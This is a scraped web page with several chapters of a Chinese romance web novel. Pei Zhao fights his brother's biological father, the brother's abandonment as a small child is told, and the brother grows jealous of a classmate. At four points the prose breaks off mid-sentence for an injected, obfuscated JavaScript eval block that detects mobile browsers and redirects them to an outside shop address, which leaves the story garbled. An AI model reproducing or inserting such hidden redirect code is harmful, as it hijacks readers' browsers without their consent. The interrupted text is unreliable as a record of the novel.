此刻看着裴寂高大宽阔的背影,他难以想象,爸妈口中那个只有三岁但瘦小可怜的小孩,是怎么长成现在的裴寂的。 三岁,瘦得可怜巴巴,裴昭在心里拼命拼凑那个画面,但怎么拼都拼不上。 他熟悉的裴寂是站在他面前替他挡风遮雨的人,不是那个瘦骨伶仃的小不点。那个小不点有没有哭过,有没有在夜里醒来找妈妈,裴昭越想越气,气到胃都拧起来。 这下就变成裴寂开始担忧起来,裴昭不好好吃饭,眼睑底下也浮着很浅的青灰。 原本就单薄的身体,现在似乎更单薄了。 晚上睡觉不安稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532027|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明被裴寂搂在怀里,夜里还是会翻来覆去,眉头皱得紧紧的,睫毛时不时颤一下。 裴寂问他是不是做噩梦了,他摇头,把脸埋进裴寂胸口,不说话。 但幸好,很快那个宣泄口就自己跳出来了。 依然是个阴雨天,和那天一样雨不大,淅淅沥沥地打在写字楼的玻璃幕墙上,把整个城市都罩进一层灰蒙蒙的湿气里。 裴昭下了课去公司找裴寂,撑着一把深蓝色的折叠伞,他走进写字楼大厅,收了伞坐电梯上楼,电梯门开,他沿着走廊往里走。 迎面遇上洛承。 裴昭看过户口本,记得他的名字,此人就是裴寂的生父。 洛承还是那副道貌岸然的样子,西装革履,头发梳得一丝不苟,皮鞋擦得锃亮。 裴昭看见他的第一眼就心里发堵,洛承明显在第一次见他的时候就知道他是谁,那天在别墅区门口,洛承拦在他面前,用一种让他浑身不舒服的目光打量他。 裴昭现在对他完全没有一点好脸色,他不想跟这个人说话,不想看见这张脸,他攥紧伞柄想绕过去。 但洛承非要往枪口上撞。 “你叫裴昭吧。”洛承在擦肩而过时开口了,“今年大三。” 裴昭停下脚步,他慢慢转过身来:“你调查我?” 洛承意味不明地笑起来:“看来还不知道裴寂的心思,我劝你离他远一点。” 裴昭握拳,指节收紧,伞柄在手心里咯吱作响。 他抬起头,目光直直地对上洛承的眼睛:“你有什么资格说这句话。” 洛承理了理袖口,姿态从容,好像裴昭的愤怒对他而言不过是窗外的细雨。 “可惜,要不是我没有别的继承人,我是不会看上他的。” 他的声音不急不缓,是居高临下的轻蔑:“一个被妄想母凭子贵的女人生下来,勒索我的孩子。现在看来,他和他妈是一样的人。” 最后一个字落地的瞬间,裴昭的拳头就砸上去了。 正中那张道貌岸然的脸,指骨撞上颧骨,闷响在空旷的走廊里格外清晰。 洛承踉跄了一步,后背撞上墙壁,脸上的表情从轻蔑变成了惊愕。 他捂着脸,瞪大眼睛看着面前这个气喘吁吁的少年。 裴昭握着拳,指节通红,脊背绷得笔直。 “死人渣,闭嘴。” 裴昭的声音从牙缝里挤出来,每一个字都在发抖,“你算哪根葱,不配评价我哥。” 洛承显然没意料到他会出手,毕竟在他看来,自己是裴昭的长辈。 洛承装不下去了,脸色阴沉,啐了口提高声音:“该死的你敢打老子?” 裴昭下一拳又砸了上去:“就打了,怎么样?” 他裴昭长这么大还没怕过谁,一个人渣而已,还敢在他面前这般贬低他哥,他打他一拳都算轻的。 洛承还手,裴昭也挨了两下打,但他在气头上不管不顾,也没注意到身后急忙赶过来的裴寂。 15. 第 15 章 裴寂来得及时,否则就裴昭这种不管不顾的打架方式,拳头砸出去就不考虑退路,打完了也不知道自己要吃多少亏。 他还是因为走廊里的动静太大,他正在签一份文件,办公室门没关,正好听见洛承那句拔高嗓门的该死的,他倏地站起来推门而出。 走廊里洛承被裴昭两拳砸得狼狈不堪,额角挂着汗珠,他活了大半辈子没被人动过手,更没被一个毛头小子骑在脸上揍。 恼羞成怒之下,理智早就烧成了灰,他咬着牙脸涨成猪肝色,后退半步,脚后跟蹬住地面,明显的抬脚趋势。 赶过来正好看见的裴寂心猛地一跳,他冲过去,一把箍住裴昭的腰把人往后捞。 裴昭的后背撞上他的胸膛,他借着后退的惯性卸掉力道,同时抬起脚踹在他亲爹的膝盖上。 洛承闷哼一声,重心失衡,踹出来的那一脚落了个空,踉跄着撞上了墙壁。 裴昭还在气头上,他什么都看不见了,眼前只有洛承那张可憎的脸,和他嘴里吐出来的那些不堪入耳的脏话。 他要打他,他还要再打。裴昭拼命挣动,手肘乱挥,肩膀乱撞,想从箍住自己腰的那条手臂里冲出去。 “昭昭。”裴寂的声音压在他头顶,低沉急促,“昭昭,有没有哪里疼?他打你哪里了?” 裴昭没听见,他还在冲洛承的方向挥拳,青筋在手背上隐隐凸起。 洛承扶着墙站直了身,西装下摆皱成一团,领带也歪到一边。他这辈子没这么狼狈过,还是被两个小辈连番收拾。 怒火烧穿了他最后一丝体面,他伸手指着裴寂的鼻子,指尖在发抖:“小畜生,老子今天跟你没完!” 裴昭一听那两个字,脑子里嗡的一声,他猛地挣动起来,破音道:“老不死的,你来啊!看我揍不揍得你满地找牙!” 裴寂害怕裴昭吃亏,洛承也是个成年男人,急了眼什么事都干得出来。他刚才那一脚只是权宜之计,如果洛承真的不管不顾还手,裴昭可能根本经不住。 可他的手掌贴在裴昭的肋侧,隔着衣料快速检查的时候,摸到的全是裴昭因为愤怒而绷紧的肌肉,没有明显的外伤。 裴昭这时回头看他一眼,眼底的怒意还没消,眼尾嫣红,伸手想把他推开:“哥,你放开我!” 裴寂没有放手,他弯腰一手托住裴昭的背,另一只手抄起膝弯,直接把人抱了起来。他转过身,用自己的身体把裴昭与洛承彻底隔开。 然后看向洛承,眼神不再是平日里那副沉稳内敛的模样,而是冰冷刺骨。 “你敢打他?” 洛承一听,再次暴跳如雷地吼回来:“我是你老子!不是——是他先动手——” 裴寂没有听完,他不管谁先动手,不在乎起因经过,不关心谁对谁错。他打断洛承的话:“他要是哪里受伤,我不会善罢甘休。” 说完他抱着裴昭转身就走,怀里的人还在微微发抖,洛承在身后又骂了一句什么,裴寂低头看了一眼怀里,裴昭的胸脯在剧烈起伏,呼吸又急又浅。 裴寂快步走进办公室,用脚带上门,弯腰把裴昭轻轻放在沙发上。 裴昭陷进沙发垫里,这时他才后知后觉地意识到自己的心跳太快,太阳穴突突地跳,他的脸微微泛红,嘴唇却没什么血色,呼吸粗重急促。 裴寂半蹲在他面前,一只手覆上裴昭的胸口,掌心贴着他心脏的位置。 “昭昭,哪里难受?” 裴昭说不出话,某一瞬间他甚至有点听不清裴寂的话。裴寂起身快步去倒了杯温水,重新半蹲在裴昭面前,一只手托起裴昭的下巴,拇指抵在他下颌角,另一只手把杯沿凑到他唇边,杯沿微微倾斜,温水一点一点润进裴昭的嘴唇。 “喝一点,昭昭。” 裴昭抿了一小口,温水滑过喉咙,落进胃里,把那些乱七八糟的生理反应一点一点压下去。他的呼吸渐渐缓下来,胸口的起伏幅度变小了,他抬起眼,看见裴寂正一瞬不瞬地盯着自己。 裴寂把水杯放在茶几上,手指伸向裴昭的衣领,他要检查裴昭有没有被洛承伤到。手指刚触到第一颗纽扣,裴昭就伸手拉住了他的手腕。 裴昭摇了摇头,嗓子还有点哑:“哥,我没事。” 窗外恰好响起雷,沉闷的一声,从天际滚过来,雨势骤然变大,斜斜地织在灰蒙蒙的天幕上。裴寂维持着单膝跪地的姿势,转头看向窗外。 裴昭也看过去,雨水顺着落地窗往下淌,把两人的身影和窗外的景色揉成碎片。 那天也是这么一个大雨天。 洛承此人,年纪轻轻风流债就多到数不胜数。洛老爷子管儿子还算严,但洛承就是有办法在他眼皮子底下折腾。 仗着一副好皮囊和洛家的背景,他从学生时代起身边就没断过女人。不过他倒也从不强迫,一直以来都是你情我愿,双方自愿。 裴寂的生母,她一开始并不在洛承的圈子里,只是个家境普通的年轻女人。她接近洛承是带着盘算的,每一步都算过,包括被暗中动了手脚的避孕套。 她成功怀上了孩子,却按兵不动,等孩子顺利出生便抱着襁褓中的婴儿出现在洛承面前,开口就是价码。 洛承不认,他玩归玩,从不留把柄。一个来路不明的孩子,仅凭她一张嘴,他觉得荒唐,直接让保安请人走。 她不死心,几次三番上门,碰壁之后又想到洛承的父亲,可她打错了算盘。洛老爷子比她想象的更冷血,在他眼里,她的身份地位着实配不上洛家的门楣,一个突然冒出来的孙子也不值一提,能让她进一次门,已经是给足了耐心。 这么一拖,就拖到了孩子三岁,这三年里,她试过闹大试过舆论,试过一切能试的手段。但这招之前的其他人也用过,洛家早就练就了一副铁石心肠。 孩子有了,钱没换到,反而成了拖油瓶,她终于耗尽了所有耐心。 那天也是个雨天,她从出租车上下来,把孩子放在洛承别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532028|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墅门口,三岁的小孩,又瘦又小,明显长期营养不良。 被丢之前已经饿了两顿,小脸蜡黄,嘴唇干裂,虚弱得连哭都哭不出声来。 她赌洛承不会狠心看着自己的亲生儿子活活被淋死。但洛承就是这么混账,甚至没有开门。 大雨倾盆,小小的孩子站在路边,雨砸在他后背上,砸得他踉踉跄跄站不稳。他蜷起身体,缩进墙角,把脸埋进膝盖里。 雨声太大,大到没有人听见他在喊什么,也没有人会来。在快要昏死过去之前,是路过的白锦和裴以恒的车灯照见了他。 白锦先看见路边缩着一团什么东西,让裴以恒停车,她撑着伞走过去,看清是个孩子,整个人都愣住。白锦蹲下来,把自己的伞遮在孩子头顶上,伸手摸了摸那张湿漉漉的脸,是冰的。她把孩子抱起来,用自己的外套裹住,一路抱回了家。 裴寂和裴昭说过,自己不太记得那时的事情了,他没说谎,在那个意外发生之前,不知道是因为当时年纪太小,还是因为在被抱回裴家后生了一场大病,在病床上躺了好些天,好了之后,他对三岁之前就完全没有了记忆。 裴以恒和白锦心软,收养了裴寂,看他清醒后完全不记得的样子,夫妻俩对视一眼,心里想着也好。不记得就不记得了,反正也不是什么好的回忆。 既然孩子没有过去,那就给他一个未来。 但即使后来因为那次意外刺激回想起来,那些破碎的画面也只如同梦境一样不太真实。具体发生了什么,他确实记不清。只回忆起来,那天很冷很冷。 雨落进骨头缝里,灰暗的天地里好似只有他一个人,谁都不要他,谁也都不会来救他。他的出生就是个错误。 裴昭听过这段往事后,这几天做梦都是雨声,他梦见三岁的裴寂站在一扇紧闭的大门前,雨把他浇得湿透,他想跑过去给他撑伞,可两条腿怎么都迈不开。 此刻窗外的雨声变得小了,沥沥淅淅,从玻璃上缓缓滑落。 裴寂还保持着单膝跪地的姿势,侧脸被窗外黯淡天光镀上一层冷色。 裴昭看着他哥的侧脸,他忽然伸出手,四指松松握住裴寂的手腕,拇指轻轻覆在那道旧疤上。 “哥。” 裴寂转过头看他。 裴昭把手指收紧了一点,他的手不算大,勉强能圈住裴寂的手腕,他用力握着,拇指一下一下地抚过那道疤,像是在安慰很多很多年前被雨淋透的小孩。 裴寂望着他,眼底隐匿的暗流渐渐退去,取而代之的是略显紧张的雪白漂亮小脸,是他心爱的弟弟,是他的全世界,是他的所有。 裴寂有时候会想,他到底是幸运还是不幸,如果幸运,为什么带给他生命的两人都要抛弃他,都视他如尘埃。 如果不幸,为什么那个雨天,有一双温柔的手抚上了他的头,并且温柔地抱他回了家。 如果不幸,为什么会赐予他一个裴昭,在他病态的世界里,照下一束光呢。 16. 第 16 章 当天晚上回去,裴昭就迟钝地感觉到疼了。下巴挨的那一下,当时在气头上没觉着,这会儿才隐隐发痛。 他对着浴室的镜子歪头看了看,下颌角靠耳根的地方青了一小块,碰一下嘶一声,还有肚子旁边也挨了一拳,撩起衣摆一看,肋骨外侧一点淡淡青紫,洛承那老东西下手也够阴的。 裴寂推门进来的时候,裴昭正撩着衣服站在镜子前面,扭着腰试图看清侧肋上的淤青。 裴寂一言不发,把他从浴室里牵出来按到床边坐下,转身去拿了医药箱。棉签蘸了药酒,一手托着裴昭的下巴让他微微仰头,一手轻轻地往那块青紫上点。 裴昭乖乖仰着下巴,眼睛滴溜溜地看着他哥的脸色:“哥,不疼,真的。” 裴寂换了根棉签,把他的衣摆撩起来,去处理侧肋那块淤青,棉签头刚碰上去,裴昭的腹部就本能地缩了一下。 裴寂的手停了半拍,然后更轻地落下去。 裴昭就知道,他哥在心里记账,越沉默,账记得越狠。 但裴昭看起来心情好了不少,大概是逮着洛承打了一顿还骂了几句,出了口气。从小到大他都是被护着的那个,头一回冲在前面替裴寂打架,虽然挨了两下,但痛快是真的痛快。 尤其是洛承的脸挨了他一拳之后的表情,他现在想起来还觉得解气。瞧着弟弟又恢复了原样,比如洗澡的时候哼了两句跑调的歌,出来的时候头发也不擦就往床上倒,裴寂算是松了一口气。 但松完这口气之后,他转头就拨了一通电话,电话那头响了好几声才接。 裴寂靠在书房窗前,窗外雨已经停了,城市的夜景在湿漉漉的空气里闪着碎光。 他声线平淡地告状,没提自己,只说洛承今日在走廊里与人发生冲突,言行失当。又挑了几桩洛承最近的荒唐事,不轻不重地提了两句。十分钟后,电话那头沉默许久,终于传来一声疲惫的应允。 裴昭对这些一无所知,他正常去学校上课,此时无语地推开在他面前啧啧个不停的林启青。 林启青从早上见到他开始就在啧啧啧,上课啧,下课啧,去食堂路上还在啧。他倒退着走在裴昭面前,双手抱臂:“昨天还是忧郁男神,今天就变回欠揍的中二少年了。你下巴这个创口贴怎么回事?你变化多端的情绪能不能给我点缓冲?” 裴昭切了一声:“你不要瞎想。” 具体的他没说,只是用手指摸了摸下巴上那块创口贴,犹豫了一会儿,还是决定后面再告诉林启青实情。毕竟他自己得知真相也是仓促间的意外,这件事太大了,他还没想好怎么跟别人说。 林启青倒也不追问,踮着脚在原地跳了两下热身,球鞋蹭着地面吱吱响:“行吧,活过来就行。今天下午去看我比赛。” “我还有一个稿没画完。”裴昭抓了抓头发。他确实还有一张稿子卡在半截,单主一直不太满意,卡在了身体的肌肉线条,他怎么都画不顺,改了好几版都不满意。 “既然没有灵感就出去走走呗。”林启青挥挥手,一把勾住他的脖子,强行把人拖走了。 其实裴昭篮球打得也不错,中学的时候跟林启青一起学的,但他体力不太能跟上,跑几个来回就喘,太阳底下打半场就发晕。 平日里和朋友玩玩还行,正式比赛他是不行的,裴寂也明令禁止过,所以他很少来看林启青的比赛,来了也只在场边坐着。 林启青从小运动神经发达,大学一来就进了篮球社,每次比赛成绩还不错。 到了篮球场,看比赛的人并不多,三三两两散在观众席上,大多是朋友或同班同学。裴昭找了个角落的位置坐下,把林启青塞过来的背包放在旁边的空位上,百无聊赖地晃着腿。 抬起眼,就看到一个小麦肤色的男生朝林启青挥挥手。那人穿了件白色球衣,个子挺高,肩膀宽而匀称,是那种很周正的帅气。 林启青把手里拎着的水壶往裴昭身边一放,说了声帮我看包,就跑过去了。那个男生看过来时也注意到了裴昭,目光扫过观众席的时候本已移开了,又忽然折回来,停在裴昭脸上,明显愣了愣。 裴昭没有注意,他低头从背包里抽出平板,打开画布。 林启青从队友手里接过篮球,顺着顾冼的视线方向看了一眼,好奇:“顾冼你发什么呆?” 顾冼慢悠悠收回视线,把球在两只手之间倒了个来回,随意一问:“那是你朋友?” “哦,是,我好哥们。”林启青说。 也不怪顾冼不认识,顾冼是大一的,入学后虽然加入了篮球社,但一开始并没有很积极来社团,最近才开始频繁露面。林启青已经大三了,这学期课程紧,也很少来,更别说非社团成员的裴昭了,他压根就没来看过几次比赛。 裴昭把平板搁在膝盖上,笔尖悬着却下不去,别看他画裴寂的时候擦了又画、画了又擦,修修改改能磨上一整个下午,但其实只有裴寂他最有灵感。 画别人是技术,画裴寂是本能。 他晃着腿看了一会儿林启青的比赛,场上喊声和鞋底摩擦地面的吱嘎声混在一起,球在几个人之间快速传递。那个叫顾冼的男生打得不错,弹跳力很好,抢篮板的时候整个人拔起来,球衣下摆被风掀开一角。 中场休息,林启青和顾冼朝场边走了过来。林启青从裴昭身边的背包里摸出瓶矿泉水,丢了一瓶给顾冼,仰头灌了自己半瓶才喘着气给两人介绍:“喏,我兄弟,裴昭。” 又冲顾冼抬了抬下巴:“这是顾冼,隔壁数院的,大一。” 裴昭抬起眼,礼貌地点了点头:“你好。” 顾冼反倒有点拘谨:“学长好。” 说完他也拧开水喝了起来,眼神时不时瞥过坐着的裴昭,裴昭竟然也在看他,不过不是在看他这个人,是看腰的部位。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532029|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大夏天打了一场球浑身是汗,顾冼站了片刻觉得热,就下意识地捞了把球衣下摆扇了扇风,露出一截腹肌,练得不错,线条分明。 裴昭瞬间就知道自己该怎么画了,他握着笔的手指动了动,在画布上快速勾了几条线。 眼见裴昭很快收回目光低下头去,顾冼心里有点可惜,但也不好意思再凑近。幸好裴昭要等林启青,一直坐在场边没有走。顾冼也就趁喝水的间隙,时不时往那个角落里看一眼。 下半场开始,裴昭边画边想,脑子里回放的却不是刚刚看到的身体,而是裴寂。按理说他哥应该也有腹肌吧,裴寂穿西装的时候肩背轮廓很漂亮,腰线收得窄而利落,隔着衬衫隐约能看到腹肌的起伏。 他记得裴寂读高中的时候,那会儿他还跟裴寂睡一张床。夏天天热,裴寂偶尔洗完澡只穿一条短裤出来,拿毛巾擦着头发,身上的水还没擦干。 小裴昭坐在床上抱着被子,眼睛瞪得溜圆,他那时候还伸手指戳过裴寂的肚子,被裴寂轻轻拍开了手。 他记得裴寂的腹肌很漂亮,不是健身房里刻意雕琢的夸张,是恰到好处的肌理分明。 发散思维一旦打开就收不住。裴昭开始胡思乱想,都说国外的饮食不一样,裴寂在那边待了三年,不会把腹肌饿没了吧?还是胖没了? 裴寂回国之后他还没见过他哥不穿上衣的样,可惜。 比赛结束的时候,林启青他们赢了。他满头大汗地跑过来,球衣后背洇湿了一大片。几个人在球场边商量了一会儿,最后决定一起去校门口那家烧烤店庆祝。 林启青拿毛巾擦着脖子上的汗,来问裴昭想不想去。 裴昭心动,裴寂肯定是不允许他吃这种东西的,一些烧烤摊的卫生条件堪忧,油盐重,辣椒面撒得厚不说,裴昭那个胃是绝对扛不住的。 但得不到的总在骚动,烤羊肉串在炭火上滋滋冒油的声音,孜然和辣椒面被热油激出来的焦香……越不让吃越想吃。 裴昭坐着纠结了好一会儿,肠子和胃在脑海里打了一架,嘴最终战胜了理智。 “去。”他站起来把平板塞进背包,“但我要提前跟我哥说一声。” 林启青在旁边等他发消息,裴昭掏出手机,点开裴寂的对话框,打字的时候忽然心底升起一丝怪异。 手指悬在屏幕上方停了停,他想了想这感觉从何而来,是那种总觉得裴寂好像对他无所不知似的感觉。 好像裴寂永远知道他在哪里,做了什么。就是有那种感觉,哪怕他不发这条消息,裴寂也能知道他今晚去了烧烤摊。 裴昭把这个念头甩开,打好字发了过去:“哥,林启青他们比完赛去吃烧烤,我也去,就吃一点点。” 发完他盯着屏幕等了一会儿,裴寂没回。大概在忙。 他把手机塞回口袋,背上背包,跟着林启青一帮人出了体育馆。 17. 第 17 章 裴昭这次倒是老实了,他要了杯常温的柠檬水,没敢和林启青他们一起喝酒,烤串都是单独点的,拿了个小盘盛着,少麻少辣,连孜然都只让撒了一丁点。 没有点刺激性的食物,什么烤韭菜烤辣椒烤羊腰,一律不碰。 林启青凑过来看他盘子里那几串清淡得可怜的牛肉和土豆片,嘴角抽了抽:“你搁这儿吃病号餐呢?” 裴昭没理他,拿湿纸巾把签子头又擦了一遍。 几人在室外的桌上坐下,店面不大,屋里坐不下,老板把桌子支在门口,还将两张桌拼在一起,大家就拖开塑料凳子落了座。 裴昭自然是坐在林启青旁边,他刚把背包放下,左手边凳子就被顾冼眼疾腿快地占了。 一只脚勾住凳腿往外一拉,整个动作行云流水,旁边另一个正想坐下来的队友愣是被他抢了先,那人愣了半秒,绕到对面去了。 夏季的夜晚凉爽,白天的闷热被夜风一吹,散得干干净净。大树的树叶在头顶沙沙地响,烧烤摊的白烟被风扯成斜斜的一道,飘向街尾。 裴昭穿着件白色短袖搭配轻薄工装裤,露出的小臂白得晃眼,柔软的额前黑发被风轻轻一撩,露出光洁的额头,吹起的一点柑橘的甘甜香味,就扑进了顾冼的鼻子里。 顾冼呆呆地看着裴昭的侧脸。 裴昭察觉到目光,转过头来。他对上顾冼的视线,抿着红唇笑了一下,清澈莹润的眼睛微微弯了弯。 顾冼手一抖,差点把杯子碰翻,心砰砰乱跳,被可爱到了。 心跳加速,耳根发烫,他把杯子扶稳,低头喝了口水,喉结上下滚了又滚。 裴昭转回头后就拿起了手机,屏幕亮着裴寂的消息,他滑开一看,他哥倒是没有不让他来,只要他把吃了什么拍照片发过来。 裴昭撇撇嘴,以他对裴寂的了解程度,这绝对不是最后一步,肯定还有后招。 他侧过头,压低声音问林启青:“我哥给你发消息了吗?” 林启青咧嘴一笑:“你咋知道?刚刚发的,叫我看着点你,不许你乱吃。” 裴昭对着手机屏幕皱皱鼻子,拇指重重戳着屏幕打字:“知道了。” 等他的那份烧烤上桌,裴昭就拿手机拍了张照片发过去。他又追了一条消息过去:“保证没有骗你。” 裴昭有时候会耍小聪明,把汽水倒进白开水的杯子里,远远看着以为他在喝热水,其实是偷偷喝冰可乐。被裴寂抓过一次之后,这个把戏就再也没成功过。 裴寂回了一个好,裴昭终于可以放下手机放心吃了。他拿起一串牛肉片,吹了吹热气,送进嘴里。烤得刚好,表面微焦,咬下去肉汁混着孜然香在舌面上化开。 裴昭被香得眯起眼睛,心情很好的样子,腿在桌下轻轻晃。 顾冼就有点魂不守舍了,手里的羊肉串举了半天没咬一口,对面队友喊了他两声都没听见。 满心都是好香,他离裴昭最近,那股柑橘味总往他鼻腔里飘。还有他好好看,吃东西的样子好可爱,嚼东西的时候腮帮子微微鼓起,嘴唇被柠檬水润过之后亮晶晶的,红的舌尖偶尔伸出来舔一下嘴角沾着的孜然粒。 顾冼把目光别开,低头啃了口羊肉,过了没一会儿又移回去了。 等裴昭喝完杯中的柠檬水,放下杯子,顾冼立马自告奋勇站起来:“我帮你去倒。” 手已经伸过去握住了杯子,裴昭有些意外,手指缩了一下,没有碰到顾冼的手,仰起脸说了两声谢谢。 顾冼拿着杯子去店里续了杯回来,小心放在裴昭右手边,裴昭又说了声谢谢,低头继续吃,没有注意到顾冼在看他。 这个时间点,正好是学生们出来吃饭、出来玩的高峰。周围的每家小店都占满了人,烧烤摊的座位一个接一个往外扩,整条小吃街灯火通明,人声鼎沸。 来来往往的也有很多学生,勾肩搭背地穿过人群,所以无声无息冒出来的裴寂,裴昭自然注意不到。 裴寂来了有几分钟了。 他站在离那一桌不过几步远,西装外套脱了放在车上,衬衫袖口挽到小臂,长相英俊气质清冷,在人群里也格外突出。 但他没有在意路过看过来的目光,而是一直看向他弟弟的后脑勺。 裴昭眯着眼嚼了两下肉串,又拿起湿纸巾擦了擦脸和脖子,然后把纸巾团成团,放在桌角。 裴寂看着看着,就注意到了旁边另一个碍眼的男生。 从他站在这里开始,那个男生的目光就没有从裴昭身上移开过。 那个男生已经看了裴昭不下二十次,殷勤地帮裴昭递纸巾,殷勤地递碟子,甚至在裴昭喝完最后一口柠檬水的时候,他已经站起来握住杯子了。 裴寂没法把他的行为归类为同学之间的互相帮助和正常相处,因为他自己有那个心思,他就是能感知到一股同类的气息。 算着裴昭吃下的量应该够了,裴寂再也忍耐不住,朝裴昭走去。 裴昭余光一下子注意到高大的身影靠近,他抬起眼,看见裴寂站在桌边,裴昭惊讶了一瞬,仰着脸脱口而出:“哥,你怎么来了?” 其他人一下子看过来,几个没见过裴寂的队员被他的气场虎了一下,这个男人往桌边一站,周围的空气都沉了几分,明明表情平淡,姿态从容,但就是让人不自觉地坐直了身子。 林启青倒是一脸见怪不怪,率先喊了声裴哥,其他人也稀稀拉拉跟着叫了。 裴寂淡淡点头,目光在桌上扫了一圈,然后他伸手拉住裴昭的手腕,把他从塑料凳上拉起来。 裴昭有些懵,手指在他掌心里微微蜷了一下,仰着头:“怎么了?” “怕你不节制吃多了,来接你。” 裴昭小声嘀咕了句“没有一点信任”,但人已经乖乖站起来了,手指在裴寂掌心里动了动没有抽走。 他也确实吃饱了,回头看一眼看向他们的同学,有些犹豫要不要这么快先走。 裴寂放开他的手,走向老板。他站在点单台旁边和老板说了几句话,期间还侧头看了他们这桌一眼,然后他从口袋里拿出钱夹,抽出几张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532030|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现金递给老板。 其他人这才反应过来他是在结账,一个队员第一个站起来,手里还捏着半串烤肉,慌忙摆手:“裴哥这怎么好意思,我们自己来——” 另一个也跟着站起来:“是啊是啊,本来就是AA的。” 裴昭也走过去,站在他哥旁边,对着那几个同学笑了笑:“没事没事,今天算是交了朋友,我请了。” 裴寂付完款,转身拎起裴昭的背包,另一只手重新牵起裴昭的手。他对这些学生再次点了点头,声线平淡:“钱已经付了,你们慢慢玩,我先带昭昭回家了。” 几人就这么目瞪口呆地看着裴寂牵着裴昭离开。 林启青大手一挥,打破了沉默:“啊,来,继续。他哥就这风格,哈哈哈大家别多想。” 顾冼目送裴昭离开,他的目光追着那个白色的背影,看着他被高大的男人牵着穿过人群。 昭昭这个叠词在他耳朵里转了两圈,软而亲昵,他心里有点失落,刚才倒水的时候他在想怎么开口要微信,想了半天没说出口,现在机会就这么走了,可惜。 走出那条小吃街,人声就弱了下去。裴昭看着满是星星的天空,整个人粘在裴寂身上。 胳膊肘蹭着胳膊肘,肩膀撞着肩膀,走路都不好好走。 “哥,你怎么找到我的?” 裴寂带着他朝停车的位置走:“猜的,你们学校就这条小吃街离得最近。” 裴昭没再追问,但还是觉得他哥猜得越来越准了。 坐上车开了没几分钟就到了公寓,裴昭进门换了拖鞋就去洗澡,洗好后他换了件宽大的棉T恤出来,瘫在沙发上,软成一摊猫饼。 他摸出手机,两条腿搭在沙发扶手上,开始回林启青的群消息。 裴寂从厨房倒了杯温水出来,放在裴昭手边的茶几上。他在裴昭身侧坐下,拿起遥控器把电视声音调小了两格,看似随意地开口:“今天一起的人都是你同学?” 裴昭回着消息,没抬头:“对啊,不过我都不认识他们,他们是林启青社团的朋友。” 裴寂端起自己的水杯,抿了一口,拇指在杯沿上摩挲了下:“坐你左手边那个呢。” 裴昭咦了一声,从手机屏幕上移开视线,仰头看他哥。裴寂的表情很平,正在看电视,裴昭想了想:“一样啊,之前不认识,而且他还是大一的。” 裴寂没有再开口。 但没过几天,一天晚上吃完饭,裴寂在厨房洗碗,裴昭照例歪在沙发上。手机忽然响起,是林启青。 裴昭接起来,林启青的大嗓门从听筒里炸出来:“上线,上号,我们缺个法师。” 裴昭答应下来,他一登录游戏被拉进组队里开了麦,听到林启青咋咋呼呼地喊:“来了来了,我们无情法王小昭上线了!” 这是裴昭的游戏ID,裴昭嘻嘻哈哈地回怼了他一句:“别吵。” 队里另一个人出声:“原来是学长。” 裴昭一愣,听出来了他是谁。 “顾冼也在啊。” 18. 第 18 章 顾冼兴奋起来,裴昭竟然记得他,他连忙答道:“是我学长。” 五排里的另外两个裴昭也认识,都是林启青平时喊了一起打游戏的,在群里叽叽喳喳地互相甩锅是常态。凑够了人,林启青就点了开始匹配。 裴昭忽然转过头,看向不知何时靠过来的裴寂,低头便见两人的胳膊都贴在了一起,裴寂的衬衫袖口蹭着他的短袖袖边,体温从那一小片相贴的皮肤上传过来。 裴昭轻轻碰了碰他哥:“怎么了?” 裴寂眼眸黑沉,看向裴昭的游戏界面,他坐得极近,游戏里有人在说话,其中那道清朗喊学长的声音,这方面几乎有着天生敏锐感知力的裴寂一下子就辨认出来,就是那天频繁看裴昭的那个男生。 裴寂直接问:“他是那天坐你旁边的?” 裴昭赶紧收回注意力到游戏上,点头说:“对啊,他叫顾冼。” 